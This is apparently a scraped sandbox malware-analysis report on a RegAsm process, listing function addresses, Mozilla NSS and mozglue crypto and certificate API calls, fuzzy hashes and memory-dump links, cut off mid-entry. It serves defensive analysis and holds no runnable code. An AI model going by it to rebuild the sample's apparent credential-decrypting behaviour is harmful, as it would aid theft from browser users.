Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 82f80b8643a490319da660bcee2e97e75e04e8ee7058083b4520f8820c75c906
Instruction ID: 8c8dc395b788c8d10c7b4bbcba323310728c39c63c9f1b83c0a1a859f666d813
Opcode Fuzzy Hash: 82f80b8643a490319da660bcee2e97e75e04e8ee7058083b4520f8820c75c906
Instruction Fuzzy Hash: A111D0B5601200DBEB20AF15DA44A6A77B8EB4530DF14802DEC49C7B41D73BE928CFB6

Function 0041F9F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FA3B
DName::operator+.LIBCMT ref: 0041FA42
DName::DName.LIBCMT ref: 0041FA64
DName::operator+.LIBCMT ref: 0041FA6B
DName::operator+.LIBCMT ref: 0041FA72

Strings

throw(, xrefs: 0041FA33, 0041FA5C

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction ID: 26e61ad30623f1dc1e2276ec5cbec36ccbccc6a7fda5d33d96f802fb271d9327
Opcode Fuzzy Hash: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction Fuzzy Hash: CC019634600209BFCF04EF64D842EED77B5EF44748F40406AF9019B291DB78EA8B8788

Function 6C302E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C303046

Part of subcall function 6C2EEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2EEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C2D7FFB), ref: 6C30312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C303154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C302E8B

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

Part of subcall function 6C2EF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C2D9BFF,?,00000000,00000000), ref: 6C2EF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C2D7FFA), ref: 6C302EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C30317B

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 3490269a253351853c45757e938914833b8e376403b5a18d379f248d268f4309
Instruction ID: e06e70ef9a607545007053184a420a4af1f163d12af1d667b990d61e32d18cfe
Opcode Fuzzy Hash: 3490269a253351853c45757e938914833b8e376403b5a18d379f248d268f4309
Instruction Fuzzy Hash: 4AA1AF76A002189FDB24CF54CC84BEAB7B5EF49308F148199ED4967741E732AD45CFA2

Function 6C2CED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C2CED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C2CEDCE

Part of subcall function 6C2C0BE0: malloc.MOZGLUE(6C2B8D2D,?,00000000,?), ref: 6C2C0BF8
Part of subcall function 6C2C0BE0: TlsGetValue.KERNEL32(6C2B8D2D,?,00000000,?), ref: 6C2C0C15

free.MOZGLUE(00000000,?,?,?,?,6C2CB04F), ref: 6C2CEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C2CEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C2CEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C2CEEFB

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: e3bd832bba84d1c4547da76c08597bdfe7e35d6833e5931310fe99e8c15b5308
Instruction ID: 1fc695756e442b3d310f4d3cd2def70b3796c65e379d2623aecbbf85cdb34b62
Opcode Fuzzy Hash: e3bd832bba84d1c4547da76c08597bdfe7e35d6833e5931310fe99e8c15b5308
Instruction Fuzzy Hash: 5D817EB5B0020A9FEB54CF55DC82AAB77F9BF48348F144628EC1597751DB30E814CBA2

Function 6C2CCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2CC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C2CDAE2,?), ref: 6C2CC6C2

PR_Now.NSS3 ref: 6C2CCD35

Part of subcall function 6C329DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C370A27), ref: 6C329DC6
Part of subcall function 6C329DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C370A27), ref: 6C329DD1
Part of subcall function 6C329DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C329DED

Part of subcall function 6C2B6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C261C6F,00000000,00000004,?,?), ref: 6C2B6C3F

PR_GetCurrentThread.NSS3 ref: 6C2CCD54

Part of subcall function 6C329BF0: TlsGetValue.KERNEL32(?,?,?,6C370A75), ref: 6C329C07

Part of subcall function 6C2B7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C261CCC,00000000,00000000,?,?), ref: 6C2B729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C2CCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C2CCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C2CCE2C

Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C10F3
Part of subcall function 6C2C10C0: EnterCriticalSection.KERNEL32(?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C110C
Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1141
Part of subcall function 6C2C10C0: PR_Unlock.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1182
Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C2CCE40

Part of subcall function 6C2C14C0: TlsGetValue.KERNEL32 ref: 6C2C14E0
Part of subcall function 6C2C14C0: EnterCriticalSection.KERNEL32 ref: 6C2C14F5
Part of subcall function 6C2C14C0: PR_Unlock.NSS3 ref: 6C2C150D

Part of subcall function 6C2CCEE0: PORT_ArenaMark_Util.NSS3(?,6C2CCD93,?), ref: 6C2CCEEE
Part of subcall function 6C2CCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C2CCD93,?), ref: 6C2CCEFC
Part of subcall function 6C2CCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C2CCD93,?), ref: 6C2CCF0B
Part of subcall function 6C2CCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C2CCD93,?), ref: 6C2CCF1D

Part of subcall function 6C2CCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C2CCD93,?), ref: 6C2CCF47
Part of subcall function 6C2CCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C2CCD93,?), ref: 6C2CCF67
Part of subcall function 6C2CCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C2CCD93,?,?,?,?,?,?,?,?,?,?,?,6C2CCD93,?), ref: 6C2CCF78

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 63c89aa401a84f247acaceeddf72b6f1d75eac46cfbe569bbd1a12d6bbc1afc7
Instruction ID: f5e289b857fbde3be67b1817dddcc1d62214b16656369773d9f032c899f9590b
Opcode Fuzzy Hash: 63c89aa401a84f247acaceeddf72b6f1d75eac46cfbe569bbd1a12d6bbc1afc7
Instruction Fuzzy Hash: 8C51D3B6B006099BEB50DF69DC40B9A77E4AF49748F250624EC44A7740EB31E905CB92

Function 00413222 Relevance: 9.1, APIs: 6, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413241
StrCmpCA.SHLWAPI(00000000,004367D0), ref: 0041327A
strtok_s.MSVCRT ref: 0041333A

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 4fb06606357c82d2e34a6cc5f66ddce3af8a1c7c19b680e4d1aa22e38f3128a6
Instruction ID: 3c673211da555be5e05b0db2dd9ea0116d8b44de62a5bd55e99019dc4a226f4b
Opcode Fuzzy Hash: 4fb06606357c82d2e34a6cc5f66ddce3af8a1c7c19b680e4d1aa22e38f3128a6
Instruction Fuzzy Hash: 0131C870E01115AFCB14DF64CD85B9AB7A8EB1871BF21505BE806DA191E73CCB854B4C

Function 6C272E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C262D1A), ref: 6C272E7E

Part of subcall function 6C2C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C268298,?,?,?,6C25FCE5,?), ref: 6C2C07BF
Part of subcall function 6C2C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C2C07E6
Part of subcall function 6C2C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2C081B
Part of subcall function 6C2C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2C0825

PR_Now.NSS3 ref: 6C272EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C272EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C262D1A), ref: 6C272F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C262D1A), ref: 6C272F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C272F81

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: b343804a7c05a8b2ecc0f2f09d0602ff8bb5f38a90c9f5e8c1e1a934bdf9dc0e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: EF31D4F150114DC7E734C656CCC8BAE7269EB80319F540576EC1997A90EB35988AC633

Function 6C19DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C19DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C19D38A,?), ref: 6C19DC6F
free.MOZGLUE(?,?,?,?,?,6C19D38A,?), ref: 6C19DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C19D38A,?), ref: 6C19DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C19D38A,?), ref: 6C19DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C19D38A,?), ref: 6C19DD4A

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: dea233bdc711528cfa02d25d4f0fa45e04eb6e9af68de136a54a3e8f57e620dd
Instruction ID: 6092584116ce86fd208b41ad015b0bee64ea02689a50d7788f5119d9e3bd2ca8
Opcode Fuzzy Hash: dea233bdc711528cfa02d25d4f0fa45e04eb6e9af68de136a54a3e8f57e620dd
Instruction Fuzzy Hash: 23416DB5A00615CFCB00DFA9C880A9ABBF5FF89318B554569E945ABB21DB71FC10CF90

Function 6C260E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C260A2C), ref: 6C260E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C260A2C), ref: 6C260E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C260A2C), ref: 6C260E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C260A2C), ref: 6C260E90
free.MOZGLUE(00000000), ref: 6C260EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C260A2C), ref: 6C260ED9

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: a4b362ebb6dcdb32fb790ad171720018bb76124dd5ed04f3e64995b2c9802a30
Instruction ID: 3d8ede6d2f3b29c72c7719cfd0c6f9123ae5399b0308e70e9607745f29661c93
Opcode Fuzzy Hash: a4b362ebb6dcdb32fb790ad171720018bb76124dd5ed04f3e64995b2c9802a30
Instruction Fuzzy Hash: 79216E72F002AD4BEB1049679C81F6B76AEDBC1749F190035EC1863E42EA71C8D492B6

Function 6C190C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C190CD5

Part of subcall function 6C17F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C17F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C190D40
free.MOZGLUE ref: 6C190DCB

Part of subcall function 6C165E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C165EDB
Part of subcall function 6C165E90: memset.VCRUNTIME140(6C1A7765,000000E5,55CCCCCC), ref: 6C165F27
Part of subcall function 6C165E90: LeaveCriticalSection.KERNEL32(?), ref: 6C165FB2

free.MOZGLUE ref: 6C190DDD
free.MOZGLUE ref: 6C190DF2

Strings

g/, xrefs: 6C190CA2

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: g/
API String ID: 4069420150-2179982415
Opcode ID: e613c3d2cbe46851b2505572f7a27238d63f56d893126bf45f4588a135a5523d
Instruction ID: 119ef43cc255c95e1a9c7804479302357c2bafa1d6cb79fdb3304483e73ca5a1
Opcode Fuzzy Hash: e613c3d2cbe46851b2505572f7a27238d63f56d893126bf45f4588a135a5523d
Instruction Fuzzy Hash: 964129759087808BD720CF29C08079AFBE5BFD9714F518A2EE8D887B61D7709984CB92

Function 6C26AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C26AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C26AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C26AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C26AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C389500), ref: 6C26AF23

Part of subcall function 6C2BF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C2BF0C8
Part of subcall function 6C2BF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C2BF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C26AF37

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 4c445ac2552f13bab067d42a7a93261d14dbaaa79e8ba757450308de677348aa
Instruction ID: e2f8e7a14f412dff4e5db8d1de08f54744c1daa5af1ef4c1bad85c80d0b67105
Opcode Fuzzy Hash: 4c445ac2552f13bab067d42a7a93261d14dbaaa79e8ba757450308de677348aa
Instruction Fuzzy Hash: 3D213AB6A092149BEB108E199C01B9A7BE4AF8572CF144314FC549BB91E732D98487F7

Function 6C2EEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2EEE85
realloc.MOZGLUE(FA99EB48,?), ref: 6C2EEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C2EEEC5

Part of subcall function 6C2C0BE0: malloc.MOZGLUE(6C2B8D2D,?,00000000,?), ref: 6C2C0BF8
Part of subcall function 6C2C0BE0: TlsGetValue.KERNEL32(6C2B8D2D,?,00000000,?), ref: 6C2C0C15

htonl.WSOCK32(?), ref: 6C2EEEE3
htonl.WSOCK32(00000000,?), ref: 6C2EEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C2EEF01

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 3aaf1376fb8652d43a3984f7eabe354cd1fb64df0e9e0f330669b2b0cc70308e
Instruction ID: af147499235c314b8335c1b0b59541db852c3d37009e1a195770687a439e2345
Opcode Fuzzy Hash: 3aaf1376fb8652d43a3984f7eabe354cd1fb64df0e9e0f330669b2b0cc70308e
Instruction Fuzzy Hash: C421BA71A002199FDF109F28DC81B9AB7A4EF49368F598169EC19AB741D730EC14CBE6

Function 6C29EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C29EE49

Part of subcall function 6C2BFAB0: free.MOZGLUE(?,-00000001,?,?,6C25F673,00000000,00000000), ref: 6C2BFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C29EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C29EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C29EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C29EEB3

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 03a056e0dbb6925a469b94f9b0cbfad0e3f941590ee84c4b7bb0cbbf7a0c6724
